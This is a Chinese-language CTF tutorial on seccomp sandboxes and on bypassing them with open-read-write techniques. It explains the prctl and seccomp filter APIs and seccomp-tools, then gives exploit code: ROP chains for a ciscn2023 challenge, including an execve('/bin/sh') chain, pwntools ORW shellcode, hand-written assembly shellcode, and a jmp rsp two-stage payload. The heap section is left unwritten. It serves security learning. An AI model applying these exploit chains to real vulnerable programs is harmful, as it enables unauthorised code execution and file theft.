沙箱
沙箱保护是对程序加入一些保护,最常见的是禁用一些系统调用,如execve,使得我们不能通过系统调用execve或system等获取到远程终端权限,因此只能通过ROP
的方式调用open
, read
, write
的来读取并打印flag
内容
1 2 3
| fd = open('/flag','r') read(fd,buf,len) write(1,buf,len)
|
开启沙盒的两种方式
在ctf的pwn题中一般有两种函数调用方式实现沙盒机制,第一种是采用prctl函数调用,第二种是使用seccomp库函数。
prctl函数调用
如:
1
| return prctl(22, 2LL, &v1);
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| // 函数原型
int prctl(int option, unsigned long arg2, unsigned long arg3, unsigned long arg4, unsigned long arg5);
// option选项有很多,剩下的参数也由option确定,这里介绍两个主要的option // PR_SET_NO_NEW_PRIVS(38) 和 PR_SET_SECCOMP(22)
// option为38的情况 // 此时第二个参数设置为1,则禁用execve系统调用且子进程一样受用 prctl(38, 1LL, 0LL, 0LL, 0LL);
// option为22的情况 // 此时第二个参数为1,只允许调用read/write/_exit(not exit_group)/sigreturn这几个syscall // 第二个参数为2,则为过滤模式,其中对syscall的限制通过参数3的结构体来自定义过滤规则。 prctl(22, 2LL, &v1);
|
seccomp库函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| __int64 sandbox() { __int64 v1; // [rsp+8h] [rbp-8h] // 两个重要的宏,SCMP_ACT_ALLOW(0x7fff0000U) SCMP_ACT_KILL( 0x00000000U) // seccomp初始化,参数为0表示白名单模式,参数为0x7fff0000U则为黑名单模式 v1 = seccomp_init(0LL); if ( !v1 ) { puts("seccomp error"); exit(0); } // seccomp_rule_add添加规则 // v1对应上面初始化的返回值 // 0x7fff0000即对应宏SCMP_ACT_ALLOW // 第三个参数代表对应的系统调用号,0-->read/1-->write/2-->open/60-->exit // 第四个参数表示是否需要对对应系统调用的参数做出限制以及指示做出限制的个数,传0不做任何限制 seccomp_rule_add(v1, 0x7FFF0000LL, 2LL, 0LL); seccomp_rule_add(v1, 0x7FFF0000LL, 0LL, 0LL); seccomp_rule_add(v1, 0x7FFF0000LL, 1LL, 0LL); seccomp_rule_add(v1, 0x7FFF0000LL, 60LL, 0LL); seccomp_rule_add(v1, 0x7FFF0000LL, 231LL, 0LL);
// seccomp_load - Load the current seccomp filter into the kernel if ( seccomp_load(v1) < 0 ) { // seccomp_release - Release the seccomp filter state // 但对已经load的过滤规则不影响 seccomp_release(v1); puts("seccomp error"); exit(0); } return seccomp_release(v1); }
|
查看沙箱
在实战中我们可以通过 seccomp-tools
来查看程序是否启用了沙箱, seccomp-tools
工具安装方法如下:
1 2
| $ sudo apt install gcc ruby-dev $ gem install seccomp-tools
|
通过seccomp-tools dump ./pwn
即可查看程序沙箱
1.简单栈利用:
通过栈溢出控制程序返回流构造rop链依次执行open、read、write函数。
例题:ciscn2023 烧烤摊
整数溢出后存在栈溢出,栈溢出后orw
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| name_addr = 0x04E60F0
payload = b"/flag\x00" //name即为flag,name_addr = flag_addr payload = payload.ljust(0x28,b'a') payload += p64(pop_rdi_ret) + p64(name_addr) + p64(pop_rsi_ret) + p64(r_addr) + p64(fopen64_addr) payload += p64(pop_rdi_ret) + p64(3) + p64(pop_rsi_ret) + p64(name_addr) + p64(pop_rdx_rbx_ret) + p64(0x30) * 2 + p64(read_addr) payload += p64(pop_rdi_ret) + p64(1) + p64(pop_rsi_ret) + p64(name_addr) + p64(pop_rdx_rbx_ret) + p64(0x30) * 2 + p64(write_addr) io.sendline(payload)
payload = asm(shellcraft.open('/home/ctf/flag.txt') + shellcraft.read(3, bss_addr, 0x300) + shellcraft.write(1, bss_addr, 0x300))
payload = b'/bin/sh\x00' + b'a' * (0x20-0x8) + b'a' * 0x08 + p64(pop_rax_ret) + p64(59) + p64(pop_rdi_ret) + p64(name_addr) + p64(pop_rsi_ret) + p64(0) + p64(pop_rdx_rbx_ret) + p64(0) + p64(0) + p64(syscall_addr) io.sendline(payload)
|
2.orw+shellcode:
针对于NX未开启且禁用execve系统调用的程序,即可以写入shellcode,分两段写入
1
| payload = shellcode1 + p64(ret_addr) + shellcode2
|
第一段写入orw代码,返回地址填入jmp rsp地址,第二段写入控制rsp的代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47
| shellcode1 = asm(shellcraft.cat('flag')) //直接调用cat读取
//或 shellcode = '' shellcode += shellcraft.open('./flag') shellcode += shellcraft.read('eax','esp',0x100) shellcode += shellcraft.write(1,'esp',0x100) payload1 = asm(shellcode)
//或 shellcode1 = asm(''' push 0x67616c66 mov rdi,rsp xor esi,esi push 2 pop rax syscall
mov edi,eax mov rsi,rsp sub rsi,50 xor eax,eax syscall
xor edi,2 #mov dil,1 mov eax,edi #mov al,1 syscall 或 mov rdi,rax mov rsi,rsp mov edx,0x100 xor eax,eax syscall mov edi,1 mov rsi,rsp push 1 pop rax syscall ''') //即调用open、read、write函数
shellcode1 = shellcode1.ljust(offset,b'\x00') //offset = 距离rbp偏移
shellcoe2 = asm('sub rsp,0x30;call rsp') //控制执行流回到初始地方执行shellcode
payload = shellcode1 + p64(jmp rsp_addr) + shellcode2
|
3.复杂堆利用:
待补充。。。